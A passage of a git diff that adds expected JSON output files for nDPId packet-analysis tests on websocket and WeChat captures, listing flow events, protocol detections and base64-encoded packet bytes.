ayvJLprBMvjSjIOK41fhicG8GXZBAN55ZwcgdU1SqFf12NK6VwLJQC\/63WB0Mmhl6oemEBnvAOfWCSRvxIqEI11RS1V0tJTDaQMOH4l9g0rzpb7p3R01pvQr8LaF8ygfM8TOdAQ7iv2FwMBBWAhy0xDKsHFlIlnzuoyK5SargP7jlOmU\/bwO0pca8kuNygxpWiVvmfv3sRMIIGiWyg\/\/NLfsnKPzTpHjtWjF78L+o1F01lM7dApDUjR1AFGSuX3obSNZgvPQP0rAd1z60nd739vtftgYqf95LLPO8R8uM7fQ\/vV3yXCAayTRefOF\/By315dYNgFkFvNkV9\/9da2jUHDAxnyqI64At1ebYtagwS6jgMXmasEIRT9vjbHtwWsXzLgDypDWwT0V\/rpnKMmOs524Ur2Gi78lnuZi6xxS+fZeFS27ie7ajM4er2waCw69YK1hxR9CeO+9qF40ioRuYFTqxn2xFNR6O3N5m82+dA4uXugmx0KHHyC1XZR7VXAHwTOsQ0i+CWVyo68sWlJc\/HOYVLI4tBZrauBFmBEBJi8l7cZddoqYddBXsiSF4W3DIUVYK4OEVeUcb3KStn8akIeaqWucRxrZ9j7grx66s9WbO2n\/90aoYvi+2CSbh7kZWhbQIz7lnJVhLT28Yswx8MbwDLNuNVIAnoYDVoxmvai65z1FddzT17SUSob\/c+PVOcruNKBwhLr4AWnlh8iNRqYu9faqrMzBPqr1ySaBHnJFbcaXCwkNiuxixF4zNnalDZ4J+c9O\/5a5onbZmaWDxbH\/xWupeNBtt4dtwywZ+SH++az1dIpmYOjhMHe57dPNtsnJOfP6Fa93Nw+6ZnDb3mTlWTmrzGanHZmEVu6uhYgzM3Vi0RSYxqsMZcd7Jii8tjicvvedKUoTX5Yq1Z6GtE1+BvDXNG\/otFyQ+yawhu5a\/ghw56tdP7uJdK5YXIVLq7vfibMedfjqZQtTcBp6Y2yq1mzUYUHOp4+2sI28OGLJFBPhQblGEofGFxds3g0iAz0DuVYRQ8+RXQpdiMLlmeLDTi+2pMcwm8eLV2eXksj4G+NpQ0kLcL24ZXc\/gkEGgGuN3rI2ff6m2+FDbwe7+Dsz5smvShZxdw84dpBtfRSC5\/7VVaIGDDWVyIU37OUZ8Wmh2my1KPG5p3Qt5RswlEj868bmDr0yL0xcWFdG1GaktWDOBzf\/qFD2oUW7QZ\/mC5RD10Ph4MnjlFq8Y7d7+btrC3SplH+ZWjn7CsOnfTFOlmjG3OnhLkLMn5HJIK\/XAMgz+SljnIIGmnZQpHnlckscShqABNpH02G5sfTymrDYrAmKSwb5j8s3bpLYFjHX3OtY1Pxg7BO5McFq6yfkW\/vw6uF4oC+nLIwjia3odaYXXV5Tqhwx9xaMJCPWfeduOTWnu1T1z1rNl\/VNpFKyXk\/YsbYmSPEoNhqm2VCWaCbsswHZo78\/+OvSad8tm91u00BmjSNKCpCs6LrjNdhek6RT4HVRKJ8uXqK9jN1M4uZyBql+dPr7XVu4nI9fUxa2tl4llG64Qr1HqedRFLQreHPMvzM3QyOMxhnWj7eS7t8BIGhiurOf8Mc9NlYgSV4KuftVt+kHBgeNPw+CSLWDqaWLBFcQxdcymvf890lBvTTWsivZAio+J9FGqt4DLOy3seM16lMDHWlw+g5b69sAreSQU7jxqwLsEvxo7uSDYItdUjERPrnTmYHquTXeZ4sJeK+o0ryd1nGqhIMmMInZsZSvod9lzOJV\/RRRur\/42Dj8rpJ7rJwCBAF3LbQFDg\/WGjdRpXqHDNIv0mftuotwrnUjFLwWMM\/XYa4jVaz58KEIQQCY+lq6SGehaT1MckNzem1Ljms3384mzm4TuHzHbb+Hxuf9NrSf8GZPkMDUDaxOCbFfdBxrine+0rM4bedtXKgvGJw62rRLXuKIhvVc7kR7wV891X2WounnBJISxBgBARbdP8wM53Hx2PVlBcDAQVgVQ8wbgcYEb1o5lZDD08EkRS+7JcR\/qUEd+T\/AYBnG2A3M4eoBRAeGICxLex\/PUQfr+FCmQzvdwERaroBnzC03J7d629z6gyTa4CcDvMUDdzKd9F7SGJzyAI8ZwBXJBBIiOQJhFIUuXsHaU5jfdMT017bTrRwNzmKlvC\/mqSjOz6tZPPRHeNcoX10Y4LAFDLKinF4FXWZH0GwcSbV8UPdW+9t1mZ7JKQCNTSyM76CmNxGORxa\/NF90sL+5QXrVrX6BkP4SRc8MhNBpO5dcRUEj4xAWjNbFAk38vVnItPw6AVMXK1WnaqzTMfRzDZSmzxv0JxdIt32zW1o7xZLHjxLiszCKV41yUYJ88X1+6i7mFpA0iQKNFuBpeI9bIB5Ch7rykSP1zPljsNRu\/7CfPAxdUbdYgsqo1AN+7mTUms1xmo8aMKLniqN1tLugH63OF\/OTHM9Hch7b7MBINBP57MLDVuVAdOerMl1NhMsMq5B4PzzXWGAwoRblzlWjdGWaEJQAwiXvay0g\/VBdTAUhF5YzbhhRGUAygNeKPqX+Z3BjGbuEVxfOuxyhB3SjsUH72aE2w7uC5bHcPDFGaLHZ6xKVBeIe391engCad8zqo5SKJuopRyg5grgUHr1o2KaIhArDwBNyYsIE7lWK7eWVy921xbIjZ5KhlDwJwQwwxkw\/EKmJ3S3ofgT5LNLKoJ+CB7rUT5EQ6lhvLJjouxdeiomKcRMKhZL3W42ltK4gRFDiNRmaE\/28fsw7tjDP\/Ky1leYZ6tgoTJYRnL7o4H7xqQczQcy+rK4b2G9i511UDp\/UXwIUeBBX6ZJMVKRV+nESRD\/uj\/lEnJCjri84eVbpQNHNIQhyWG2kKHokRsOFgLkhgPrAzrS\/ZBtLeq0MIsD1i576x2CXVCwB3y\/Z09uVygY1PIog13y+P\/dRMX\/FIz+lIjb6gqnN5SJAT4+apbOPty4bbJ2k7EX4Izov1NuHz49a6aybV5+Zi4hPUEHIOtDOng24pmURtEb8QslPUevMPCnRQN9npcPf9r3i5imItyaa18QouJHhH8VU68Z7Ba5cLj3ihPQzBUh7YpvhuLQY4Mr\/1WpSRrwKG5YyAQPEUJ\/a+CGraThOSAPr9DvJa\/cs+Gp8qYFixe+UvMBuC7u6OgfUvlDzxaeiER\/mtBXTxlo4PpwKK4jWDYiZxPmVq7pmfGUToPvQ+GttK+ZN\/SNvKOsmLdloN6mjepuFDNKNLE5iUc1QWcWxXp9DS1DDGj83M3n1r+GiWbkbEnoo5dnbiJWRqsBn+Dd25LYBa+t1zjR5q6iY\/fN6\/On+h7jJfmi65LCNyMrn6OTwrUV4okhFcmlo0usnJ0XuQFW85znaiaJk7hcq3RbaYSeNVx24JSNHXu8CoZHRXov5eFa55n5zCOP+JQCgyDkHrilQAxGdTaA8LsisYCWwdzrrn4Crf0GGWS2LAFtEF6EorU\/Ven2u2Dpb+wzNW9tXYXaxMWH34ZK1YuzR4aZFKs2FWFw+yVvId\/AZKTtp3UUpImKNQwa27CzyQKR3XzSE3uj2WX3FqGjgLr2pcbwvPzqw1VfZveicv9tMSgeDIDpk1crGaYay17YEbM0U0DEN4QWq2M7pvt\/lU2BSvWEKT6enLdz8AI1Sqg4pxSx8Q+ZTMYTqzs6Dr9K5hShgZJO4V6sJ6U3bgyJGq+DSRog9\/37Pg0lD4KtOUQgmQLwLvjVtLxQBkr1DSuOELSZPX+SKNghCreMZf62oInc8sDtoUzX1w519L6GH9225kk7ERGFQBlg6jhV6eYwtDiQy7GLogpRaRCFYmqYRKccgA12DIgWjLYHay2znREXAwEFYHD\/3FlE6PNaQkI9jkDDEvLXLqt3yuM\/DbjpOd\/rivjc4m5QwP9yh\/qNnBixgwGJjZ33cwl5\/H1skfiS07TQlMftVlirB6g4ic1YzHNJAKiYhqNqMVLrXoIwvhAJ4AajUxNN3\/13K7SZfPLTcD+oGZ7N9J96cisFRjDeLxXBMgqOyqWwFeRoWmBTT\/Kr2DRQPaWcomO3Lcbo\/Jed3BMsxWYC0iY2VRuZsmxbqCyqBRncRQv4\/7AEq5tShfZvASQgciFkGowyd+wRqWwxj\/h\/q9PZcNaioWUTfA3S71OxuScsIcEnw0sARxyMXTpIF5dyHA6lC7YiAfmZ3KJVKh8IrS1dNm+WhkAAzAFMHX3kZIOG6rIqT869XsbhjVmftjO2ois9R7AtITzqVns2hjq0bC52m4fmlKb3zdUiWkHqImzs3bzbuNFEEHZiwe8CrOW1dVcbYOIDiho4bo585XIyRrWsDPkGdwiQlc3ambCtvPTa+yj54rfet97m0ryB8qZT3jbHNf7M6\/Kqc+cdZMuUfOmycpV0\/R39H6DTe\/NkdXMRBO8yNb9iTNzcuqpEJPIuXcELVWg7JUOMm87XFdhpiRLUJLb\/sUOIusvW+BKjXeDnqRiHLbm79ZK0dq3CGRkLJdyfhwKcUw3aHpmrklnBU4X\/HvNmCzWI0QZyCL6Z2uLsw2Guaiyq\/V0CpwtAHsaxgb54kEs4qDx229b6m70NGQfkXqY1RKtfGZSRbL+oZgZ+Uag69IefeZWoBSyPzRjgG1M2tMtviVxsTiKzMApy1E6FUmzePD2XKFPiAHrBB5y2dE0xnphCGtkwZeMFjw\/gKdK3ECxyVG2rGUJi9\/CPMj4mZz+uLk3jmBO9u3SOX4zopLWT0IgNPpRAFEtRutSSLjXiPZ+0U32AHj6RPMmZu5\/8B4+oWCqqyQO6AUWhC636zyhK0LD3GzB8ivAW7zyjb4R9gtrMNIsksLEVp6fa5NHU8q9M5FJF\/h1T3jvlOXbXEnvOKFNDqHgBBBDdvWZlnDzpdXCFV2xLToJ4CxM0yf3UCxSJXvpscawrSyZ3QUjX8YmGmhGW9rfxp9AfPy2QDKGGsprT7PQCxFwSugPyDhgG\/LH2jK3sbB6zGZeZ9FMVw5ZaEsB3JXVanm4e7XXRPAHj3YKBzGG9Tw5HL2\/K0+CUpul23ZbjIRQM8\/tSnGY1ywFpNkX7Y1W2IfpOBI7KFzX9TF9VEE7PiDZcqvaTGOA4\/eAqtZT\/mGDprJvxjtckxk0JG8v8QRDJy8KNfPTjc4QpDfs6Oz\/MwuNBAiX7sjydWiv1kh4EtmXd3F+GDn1LUiNUVH\/yyzN+QQ96afTLdR5WGWtc\/WSyk4vVlWB9c7pLCJnW\/fny7WR52RR2v9lJCX68IUfz9ErFMTMNCrkoPripWrysQ6Bz\/OttAUCFDIQ3fQoiYRGj\/o+W\/Q0r7B+CMBFZ7CPUGQ6JglNQspEF\/YLez96AJ6\/nntxg7Ju7n1hVFYLfu8vZbxi932IxeY2qfSOY38UdnSr4Fv2m25lrAx\/h6D9O7RzacHd9kgbadWYZjzM3RSo1dZWHycOVLtzAe7vN9GA2wkokhf19rIIzNnCKbb7Ostce+7Ig1jGmUwLMPHeqgUj8qXHy28dFIiBlzuxGJMG5IZfZqsFdlQVNfPGYBCxvf7lNtn8m43kEj6JM+gqJTxBTuW7RWVebiykN4P14YQmOzKROtWy0TaivfUujEmxzwopbWj+FFA4dXElDjq+c+NCv6WwTqq2KnLkFRFiARsdydwSEGV9y3eEwMldP1z1MxliNuwp6DmHENall7EIFfhZ+z4YTES\/JnHEnFwMBAiBBF1uurGrByHr+4t1R1epIcy52Sce2ujuiKlqZvktniP+SSVsTbZRDkgTt9DtdSBdB8lCxsJQSk8qREy0Icl0tKFuBqJWB5KbqbAkIhRoCjCOZrDu8O974BQDSrAex3T0Xlz2QFMk+5rcWAwMpfy7bSk2mI33hjWvxh6Tl3YXYjgJPKtttznSUbUUDVmk+8uMamP3d4XddjMSmHicrjVVWHaikYUC4Cd9OFoiw8yyNTJwDOywE9D9M606m6jnht3dfx08Xu73+7eSpMeU+a0tdeU72VVHgpvrzR3RLW5QFqA7xs+BlqVm6x0N3G0zBh51CXes6jDIrSZB6oi9fs5DGqxL9FN7g2BCwKDtn5C8qwSaH\/GB5CRIEOI\/eqfmXXanpQUJCZuH\/5JKpVOhos9OVPHLiFvCRZ9l+vvkL0zUxS\/Pi02ztJ27gUXRUCpnldKr0Gf3uTV+YigWxsPihOmMCrIaMVWHMyGXFUXtlqChxrwXlAFaCyqQGRzXy40DsDIWvyb\/I6LDg9EcyMXNbilu6yjukH9p4A13\/6PvZgTxX8QJRsS7TQAOhuTCtLX2tbD67bo+P1d8WPWTKqG51Uw3LrBhwofzD4sUgwmhbnftTdCfMd4n8vAfsVHzQm1uCfTyYir8wxb78lR\/gPHuXOouI7xOffJZNd85yU3DlsLHF6yN1QmXFlEk2q6fW2JtMrsgWoL5xNmj741B0E1bu6APf"} diff --git a/test/results/websocket.pcap.out b/test/results/websocket.pcap.out new file mode 100644 index 000000000..ae4938f68 --- /dev/null +++ b/test/results/websocket.pcap.out @@ -0,0 +1,9 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"websocket.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1475155931028,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.43.135","dst_ip":"192.168.43.1","src_port":12345,"dst_port":50999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"websocket.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1475155931,"pkt_ts_usec":28697,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"AFBWwAAIAAwpij2nCABFAABB27JAAEAGhyvAqCuHwKgrATA5xzc8ilRnydSxV1AYAO1IlQAAgRdXZWxjb21lLCAxOTIuMTY4LjQzLjEgIQ=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"websocket.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1475155931028,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.43.135","dst_ip":"192.168.43.1","src_port":12345,"dst_port":50999,"l4_proto":"tcp","ndpi": {"proto":"WebSocket","breed":"Acceptable","category":"Web"}} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2,"source":"websocket.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1475155931028,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.43.135","dst_ip":"192.168.43.1","src_port":12345,"dst_port":50999,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"websocket.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1475155946892,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.43.1","dst_ip":"192.168.43.135","src_port":50999,"dst_port":12345,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"websocket.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1475155946,"pkt_ts_usec":892310,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AAwpij2nAFBWwAAICABFAAA6BcdAAEAGXR7AqCsBwKgrh8c3MDnJ1LFXPIpUgFAYP+\/mwAAAgYzhfo65lRv9zcET68qSH+nc"} +00483{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"websocket.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1475155946,"pkt_ts_usec":903705,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AFBWwAAIAAwpij2nCABFAABc27NAAEAGhw\/AqCuHwKgrATA5xzc8ilSAydSxaVAYAO0tVgAAgTIyMTozMzo1MiAoJzE5Mi4xNjguNDMuMScsIDUwOTk5KSBzYXk6IHRlc3QgbWVzc2FnZQ=="} +00436{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"websocket.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1475156008,"pkt_ts_usec":638608,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AAwpij2nAFBWwAAICABFAAA9BeZAAEAGXPzAqCsBwKgrh8c3MDnJ1LFpPIpUtFAYP+K7sAAAgY+3zv1X36uRO9juijLVvZI03KuJ"} +00486{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"websocket.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1475156008,"pkt_ts_usec":657690,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"AFBWwAAIAAwpij2nCABFAABf27ZAAEAGhwnAqCuHwKgrATA5xzc8ilS0ydSxflAYAO0H8wAAgTUyMTozNDo1MyAoJzE5Mi4xNjguNDMuMScsIDUwOTk5KSBzYXk6IGhlbGxvIHdlYnNvY2tldA=="} diff --git a/test/results/wechat.pcap.out b/test/results/wechat.pcap.out new file mode 100644 index 000000000..e819117cb --- /dev/null +++ b/test/results/wechat.pcap.out @@ -0,0 +1,1284 @@ +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"wechat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1492167337792,"flow_last_seen":0,"flow_tot_l4_data_len":636,"flow_min_l4_data_len":636,"flow_max_l4_data_len":636,"flow_avg_l4_data_len":636,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54084,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01239{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167337,"pkt_ts_usec":792745,"pkt_caplen":670,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":670,"pkt_l4_len":636,"pkt":"eJKcD6iO8IQvSpdgCABFoAKQLFpAACwG+e7LzZeiwKgBZwG700RsJQvmFiW5B4AYAQBhCAAAAQEICkXRlQMAMKrIjxNPGb1b2gIOFmmrodrIUGWpRD8pBe\/eyANOuHxnf1oEiCDKQxkU6yvgqiltC85O1YOlf4+boaZn\/v7U0TkR+lQ9a8XEdMtbUDNvRkN1lpLANNJe9T6WEXQRZhhQATyvHXIsPxznFQlv1ayF4fN0Lp1Tv+DnMtPovG4l64Fdnf94BKNh3wpUis\/1aaAJUl4N4QYAa2BN+MLHUIjBfzQomk58kbDVZlQvabo4eeiFrJQbG0CRtmIDLIV4UlMABwm2B+L0SD\/lX+vPdRjlbT0hOePKWkrPVp4oa0GnGMtovp\/3dKKj2adHC1yCvZqzc+T4heafDFJJDxNGnnTZtJeXWQW2\/Wn0xAXZa5xeVmiob7mVi7gQwqB4EyVdzoi+MdLqv1I0FdZ7WKuu9o+r6i7T5KxQ7NhUIRC9KEInuscbFfTp5tcTpkg81VRtJhveR07GYTrLSFchnUCEzbFpCOPEOlfHshGkgemcZqUW0JSeBZoVIhGHuP8IElk+zTdckKSFR7XZosRv+JZpXULghhsYEQIcWSnXEwiNwHqD7SkijDTYTSRARplFy3lQ+I9PYai9e3wxDdj38dt3ZjnYHW+Jgcvyxa81TfaFhCzMBo8JWYVcQLLQCzJJ7po8hcjxwSKSvs1BzLjoAmGIOQCY3cD2niwBo4mLwkfrwM7iYYbbTgCByxdl2XUzXKGTmMiV+yqiF1sadTUF0KDk8zQPlxqASeejWTULCaKDKO7zq0WMvrWWgtPS5+WycvqXy24tfwXRN6su4lzlC8cmzA\/wzbACdxOu6m0puRk6CDMzrA=="} +00421{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167337,"pkt_ts_usec":792797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0B7NAAEAGDZLAqAFny82XotNEAbsWJbkHbCUOQoAQAk6qQAAAAQEICgAwqxZF0ZUD"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"wechat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1492167338426,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167338,"pkt_ts_usec":426301,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEuMlAAAERHdXAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00546{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"wechat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1492167338426,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"wechat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1492167338426,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7a92:9cff:fe0f:a88e","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167338,"pkt_ts_usec":426352,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"wechat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1492167338426,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7a92:9cff:fe0f:a88e","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00445{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167338,"pkt_ts_usec":426605,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEuMpAAAERHdTAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00475{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167338,"pkt_ts_usec":426637,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00445{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167339,"pkt_ts_usec":426956,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEuN1AAAERHcHAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00475{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167339,"pkt_ts_usec":427069,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00445{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167341,"pkt_ts_usec":427326,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABEuPZAAAERHajAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00476{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167341,"pkt_ts_usec":427438,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"wechat.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1492167342857,"flow_last_seen":0,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":60,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167342,"pkt_ts_usec":857618,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"8IQvSpdgeJKcD6iOCABFAABQ0QRAAEAR5OLAqAFnwKgB\/tHmADUAPEQCPBkBAAABAAAAAAAADHNhZmVicm93c2luZxFnb29nbGV1c2VyY29udGVudANjb20AAAEAAQ=="} 